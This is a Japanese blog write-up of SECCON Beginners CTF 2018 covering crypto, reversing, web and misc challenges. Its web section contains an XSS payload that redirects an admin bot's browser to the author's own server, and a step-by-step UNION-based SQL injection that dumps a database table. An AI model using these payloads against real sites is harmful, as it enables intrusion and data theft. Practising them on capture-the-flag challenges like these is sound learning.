2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

SECCON BeginnersCTF 2018 Write-up

Posted at

所感

社会人になって初めてのCTFで、今回はぼっちで参加。
BeginnersCTFということで初心者向けの問題が多く、何をしたらいいかわからないみたい
な感覚はあまりなかったように感じた。(小並感)

結果的に、順位は161位でまだ解けそうな問題もいくかあったので悔しい...。
徹夜しようかと思ったけど眠くてムリでした。以下結果。

result.png

FireShot Capture 15 - BeginnersCTF - https___score.beginners.seccon.jp_team_611.png

以下解けた問題のWrite-upで、flag形式はctf4b{......}

Crypt

[Warmup] Veni, vidi, vici

part1,part2,part3のファイルが与えられ、それぞれのファイル内容を復号する問題。

part1
  Gur svefg cneg bs gur synt vf: pgs4o{a0zber

Rot13で暗号化されているので復号する。

復号結果
  The first part of the flag is: ctf4b{n0more
part2
  Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u

Rot13ではないが、文頭のLzwのアルファベットの距離間隔?がpart1Gur
と同じなのでRotXで暗号化されていると予想。実際Rot8で復号すると、

復号結果
  The second part of the flag is: _cLass!cal_c
part3
  {ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥

しばらく考えてしまったが、よく見ると文字を引っくり返した状態になっている。

復号結果
 The third part of the flag is: Rypt0graphy}

これらをつなぎ合わせると、
ctf4b{n0more_cLass!cal_cRypt0graphy}

Streaming

encrypted
  �e_�:WI�Y?�@�J1�&>Q��RV
encrypt.py
  import os
  from flag import flag


  class Stream:
      A = 37423
      B = 61781
      C = 34607
      def __init__(self, seed):
          self.seed = seed % self.C

      def __iter__(self):
          return self

      def next(self):
          self.seed = (self.A * self.seed + self.B) % self.C
          return self.seed

  g = Stream(int(os.urandom(8).encode('hex'), 16))

  encrypted = ''
  for i in range(0, len(flag), 2):
      a = int(flag[i:i+2].encode('hex'), 16) ^ g.next()
      encrypted += chr(a % 256)
      encrypted += chr(a / 256)

  open('encrypted', 'wb').write(encrypted)

flagをencrypt.pyで暗号化したものがencryptedで元のflagに復号する問題。

暗号化にXOR(^)が使われているため、flagの既知の部分であるctf4{}を使って初期のseedを求める。これをもとにencrypt.pyを修正。

decrypt.py
f = open('encrypted', 'rb')
encrypted = f.read();

class Stream:
    A = 37423
    B = 61781
    C = 34607

    def __init__(self, seed):
        self.seed = seed % self.C

    def __iter__(self):
        return self

    def next(self):
        self.seed = (self.A * self.seed + self.B) % self.C
        return self.seed

def nextSeed(s):
    return (Stream.A * s + Stream.B) % Stream.C


seed = int(encrypted[1].encode('hex'), 16) * 256 + int(encrypted[0].encode('hex'), 16)
seed ^= int("ct".encode('hex'),16)
print "The first seed is :",seed

flag = ''
for i in range(0, len(encrypted), 2):
    a = int(encrypted[i+1].encode('hex'), 16) * 256 + int(encrypted[i].encode('hex'), 16)
    flag += format(a ^ seed, 'x')
    seed = nextSeed(seed)

flag = flag.decode('hex')
print flag
f.close()
実行結果
The first seed is : 32186
ctf4b{lcg-is-easily-predictable}

よってflagは、ctf4b{lcg-is-easily-predictable}

Reversing

[Warmup] Simple Auth

simple_authのファイルが配布される。「 認証に使われているパスワードを探せ!」とあるので探す。

まずは、fileコマンドで確認。

$ file simple_auth
simple_auth: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=12f26187ec09ac8c5d933f75e41cc68e7f544862, not stripped

ELFなので実行形式のファイルなので動作を確認。

$ ./simple_auth
Input Password:aaaa
Umm...Auth failed...

このように、パスワードと比較して判定している様子。

フリー版のIDAでdisassebleする。

以下がパスワードと思しき該当箇所

mov     [rbp+var_30], 63h
mov     [rbp+var_2F], 74h
mov     [rbp+var_2E], 66h
mov     [rbp+var_2D], 34h
mov     [rbp+var_2C], 62h
mov     [rbp+var_2B], 7Bh
mov     [rbp+var_2A], 72h
mov     [rbp+var_29], 65h
mov     [rbp+var_28], 76h
mov     [rbp+var_27], 33h
mov     [rbp+var_26], 72h
mov     [rbp+var_25], 73h
mov     [rbp+var_24], 69h
mov     [rbp+var_23], 6Eh
mov     [rbp+var_22], 67h
mov     [rbp+var_21], 5Fh
mov     [rbp+var_20], 70h
mov     [rbp+var_1F], 34h
mov     [rbp+var_1E], 73h
mov     [rbp+var_1D], 73h
mov     [rbp+var_1C], 77h
mov     [rbp+var_1B], 30h
mov     [rbp+var_1A], 72h
mov     [rbp+var_19], 64h
mov     [rbp+var_18], 7Dh

Pythonでasciiに直す。

decode.py
s = "63746634627b726576337273696e675f70347373773072647d"
print s.decode('hex')

flagは、ctf4b{rev3rsing_p4ssw0rd}

Web

[Warmup] Greeting

http://greeting.chall.beginners.seccon.jp/にアクセスし、flagを探す。
アクセスすると、


if(isset($_POST['name'])) {
  setcookie("name", $_POST['name'], time()+3600);
  $username = htmlspecialchars($_POST['name'], ENT_QUOTES, "UTF-8");

  // 管理者でログインできる?
  if($username === "admin") {
    $username = "偽管理者";
  }
} elseif(isset($_COOKIE['name'])) {
  $username = htmlspecialchars($_COOKIE['name'], ENT_QUOTES, "UTF-8");
} else {
  $username = "ゲスト";
}

phpのソースコードがかかれており、
adminとしてLoginすればflagがもらえそうだが、フォームにadminを入力すると、
偽管理者としてCookieの値に代入されるようになっている。
ソースコードによるとPOSTメソッドの値が使われているのでGETメソッドを使うことで
偽管理者代入を回避する。

http://greeting.chall.beginners.seccon.jp/?name=admin

よってflagは、`ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}``

Gimme your comment

http://gyc.chall.beginners.seccon.jpサイトのお問い合わせホームに特別なブラウザを使用して回答していて、ブラウザの User-Agent が分かれば、flagが取得できるみたい。

web1.png

上図のtextarea部分にXSSの脆弱性があったので以下を挿入する。

<script>window.location="http://hogehoge"</script>

すると、回答のため起動したブラウザがXSSにより誘導される。
hogehogeは自分が立てたサーバのipアドレス。

サーバーのログからUser-Agentが分かり、flagを取得。
ログは、

log
"GET HTTP/1.1" 200 3361 "http://hogehoge" "ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}"

よってflagは、ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}

SECCON Goods

商品の在庫情報を管理するサイトで特にフォーム等は見当たらないが、

init.js
axios.get('/items.php?minstock=0')

の部分から、item.phpが在庫情報を取得しているのがわかる。
また、minstock=0の数字の値を変えてrequestすると、数字の値以上のリストが表示される。

このことから、minstock=0の部分は、SQL文where句
該当すると予想。

試しに、


minstock=8 or 1=1

を挿入すると、

実行結果
[{"id":"1","name":"T\u30b7\u30e3\u30c4","description":"S \u30b5\u30a4\u30ba","price":"2000","stock":"8"},{"id":"2","name":"T\u30b7\u30e3\u30c4","description":"M \u30b5\u30a4\u30ba","price":"2000","stock":"3"},{"id":"3","name":"T\u30b7\u30e3\u30c4","description":"L \u30b5\u30a4\u30ba","price":"2000","stock":"7"},{"id":"4","name":"T\u30b7\u30e3\u30c4","description":"XL \u30b5\u30a4\u30ba","price":"2000","stock":"4"},{"id":"5","name":"\u30d1\u30fc\u30ab\u30fc","description":"S \u30b5\u30a4\u30ba","price":"5000","stock":"7"},{"id":"6","name":"\u30d1\u30fc\u30ab\u30fc","description":"M \u30b5\u30a4\u30ba","price":"5000","stock":"5"},{"id":"7","name":"\u30d1\u30fc\u30ab\u30fc","description":"L \u30b5\u30a4\u30ba","price":"5000","stock":"3"},{"id":"8","name":"\u30d1\u30fc\u30ab\u30fc","description":"XL \u30b5\u30a4\u30ba","price":"5000","stock":"2"}]

全部のリストが出力されたので、 SQLinjection が行えることがわかる。

流れとしては、テーブル名を把握し、次にカラム名を探し、表示する。

  • テーブル名
minstock=8%20union%20select%201,2,3,4,table_name%20from%20information_schema.tables
実行結果
[{"id":"1","name":"T\u30b7\u30e3\u30c4","description":"S \u30b5\u30a4\u30ba","price":"2000","stock":"8"}

 ...

{"id":"1","name":"2","description":"3","price":"4","stock":"flag"},{"id":"1","name":"2","description":"3","price":"4","stock":"items"}]

これより、テーブル名がflagとわかる。

  • カラム名
minstock=8%20union%20select%201,2,3,4,column_name%20from%20information_schema.columns%20where%20table_name%20=%20"flag"
実行結果
[
  {"id":"1","name":"T\u30b7\u30e3\u30c4","description":"S \u30b5\u30a4\u30ba","price":"2000","stock":"8"},
  {"id":"1","name":"2","description":"3","price":"4","stock":"flag"}
]

これより、カラム名もflagと判明。

  • flagを表示する

minstock=8%20union%20select%201,2,3,4,flag%20from%20flag
実行結果
[{"id":"1","name":"T\u30b7\u30e3\u30c4","description":"S \u30b5\u30a4\u30ba","price":"2000","stock":"8"},{"id":"1","name":"2","description":"3","price":"4","stock":"ctf4b{cl4551c4l_5ql_1nj3c710n}"}]

よってflagは、ctf4b{cl4551c4l_5ql_1nj3c710n}

Misc

[Warmup] Welcome

“フラグは公式IRCチャンネルのトピックにあります。”
言葉通り、IRCチャンネルに入ったらflagが取得できた。
flagは、ctf4b{welcome_to_seccon_beginners_ctf}

[Warmup] plain mail

packet.pcapファイルが配られるのでWiresharkでみる。
内容はメールのやりとりが行われていて、smtpプロトコルなので暗号化されていない。

“I will send secret information. First, I will send encrypted file. Second, I wll send you the password.”

のメッセージから、ファイルとパスワードを送信しているらしい。

ファイルに該当するところが、

UEsDBAoACQAAAOJVm0zEdBgeLQAAACEAAAAIABwAZmxhZy50eHRVVAkAA6f/4lqn/+JadXgLAAEE
AAAAAAQAAAAASsSD0p8jUFIaCtIY0yp4JcP9Nha32VYd2BSwNTG83tIdZyU4x2VJTGyLcFquUEsH
CMR0GB4tAAAAIQAAAFBLAQIeAwoACQAAAOJVm0zEdBgeLQAAACEAAAAIABgAAAAAAAEAAACkgQAA
AABmbGFnLnR4dFVUBQADp//iWnV4CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAAB/AAAAAAA=

メールなので、base64でencodeされているのでdecodeする。
decodeするとzipにファイルになっているので解凍しようとするが、
パスワードを求められる。
パスワードは、平文で送られているのでそのまま_you_are_pro_を利用する。

これを使ってファイルを解凍、無事にflagを取得。
flagは、ctf4b{email_with_encrypted_file}

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?